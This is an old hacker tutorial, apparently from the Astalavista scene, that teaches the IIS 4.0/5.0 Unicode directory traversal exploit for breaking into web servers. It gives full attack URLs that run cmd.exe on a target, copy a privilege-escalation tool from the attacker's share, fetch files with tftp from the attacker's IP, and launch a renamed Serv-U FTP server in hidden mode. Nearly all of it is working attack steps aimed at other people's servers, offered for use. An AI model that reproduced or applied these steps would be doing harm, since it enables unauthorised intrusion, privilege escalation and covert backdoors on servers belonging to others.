Hacking, Installing, and Using Pubs. - How To. / E-man @ Astalavista.NET, AREA51

---

version 1.3

Chapter 1 - Overview

- The IIS Exploit

Basiclly, its a directory travelsal exploit used on IIS 4.0 and IIS 5.0 website systems.
The potential for an attacker is HUGE, but we will talk about installing a hidden FTP server.

- How does the exploit work?

We need to insert a special command, that will bypass the server's "Double Dot" (one dir up) checking.

How?

We will give the server 2 "Double Dot" requests, so that one will pass :).

- The exploit at work

This is the basic way to exploit the system:

http://target/scripts/..%c1%1c../path/file.ext

Where:

%c0%af = /

%c1%9c = \

What we need is this (Can also be other strings, use the one you need):

http://www.target.com/scripts/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe/c+dir+c:\

Lets break down the URL to parts and their meanings:

http://www.target.com - On the HTTP protocol, you exploit a domain you know that has the IIS bug.

/scripts/ - A vounerble directory, there are more kinds of these directories, I will write more later on.

/..%c0%af../ - This is the "Double Dot" command. 3 of these will take you to C:\ (Root).

/winnt/system32/cmd.exe - After getting to the root, we will enter the system32 dir, where cmd.exe is.

/c+dir+c:\ - This gives the cmd.exe program a request for dirring the root of drive C:\

(a "+" is like a space, " " in DOS)

Capter 2 - How Do I Upload It?

- Getting Admin Rights on the Server.

First, We need to get "Admin" rights.
We will do it using the "Getadmin.exe" program.

Here's how we will upload it:

http://www.target.com/scripts/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe/c+dir+c:\+\\<Your IP>\<Shared Directory>\Getadmin.exe

I will explain the part you dont know yet (+\\<Your IP>\<Shared Directory>\Getadmin.exe)

\\<Your IP>\ - the "\\" is the sign for the NetBIOS Protocol (Shared Files \ Folders Protocol).

\<Shared Directory>\ - You will have to share a directory in order to be avle to access it from the hacked server.

** The whole URL above will get the window to show you the contant of the hacked domain's C: drive, and your shared dir's
content.

To copy the file to the server, insert the following command:

http://www.target.com/scripts/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe/c+copy+\\<Your IP>\<Shared Directory>\Getadmin.exe+<a writeable path>

/c+copy+\\ - As you see, we are now using the Copy command.

\\<Your IP>\<Shared Directory>\Getadmin.exe - Your IP, Shared dir, and filename on your shared dir.

+<a writeable path> - After the "getadmin.exe" you will have to insert a "+". After that, you will have to find a writable path
on the target domain, Almost always, its D:\.

** You must turn off all firewalls, Proxies and such.

** Along with the Getadmin.exe, there's a .dll file, upload it aswell.

- Uploading the FTP Server.

First download the "Serv-U 2.5" from somewhere ("Download"+"Serv-U 2.5" on Google.com).

Here is what you need for the FTP server you are trying to execute:

Serv-U32.exe - The Serv-U 2.5 executable file. (Rename it to something like "rundlls32.exe")

Servu.ini - The file where all the server's Configs are being stored.

Open the Rundlls32.exe file and configure it by your needs.

Upload the two files to the server.

There is another way to upload files to an IIS server.

Thanks to a small program named "tftp.exe" that comes embedded in Windows NT, we can remote control the server into connecting
to our computer and downloading the server from us.

The way to do it is first to download the "TFTP Pro Suite 2000" from WWW.TFTP.CO.UK and configure it for your needs.

Then simply command the server to download the files:

http://www.target.com/scripts/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe/c+tftp+-i+<Your IP>+GET+<Valid path And filename for the server>

Here is how it should look like:

http://www.target.com/scripts/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+tftp+-i+69.69.69.69+GET+c:\rundlls32.exe

The advantage about this method is that you can see how much time is left for the server to get the file and you can close the connection whenever you want.

When the transfer is over, the file will be saved in "C:\inetpub\Scripts" at the remote machine.

Chapter 3 - Executing It.

This can be done by giving the server the following command:

http://www.target.com/scripts/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe/c+start+<path to server>/rundlls32.exe /h

This "/h" is a command line parameter that when the Serv-U serve gets it, it is being executed as a Hidden server.

* You can try placing the "call" command instead of the "start" command if it doesnt work.

** There are more unicode commands to a directory travelsal, such as:

/scripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\

I like that one the most.

*** I sugest you check the drive's space (shown on the bottom of the page).

If you have any Sugestions, Comments, Questions or money (yeah right :P) to send me, you know where to find me ;).

Thanks □□□□□□□T®?L?§□□□□□□□ !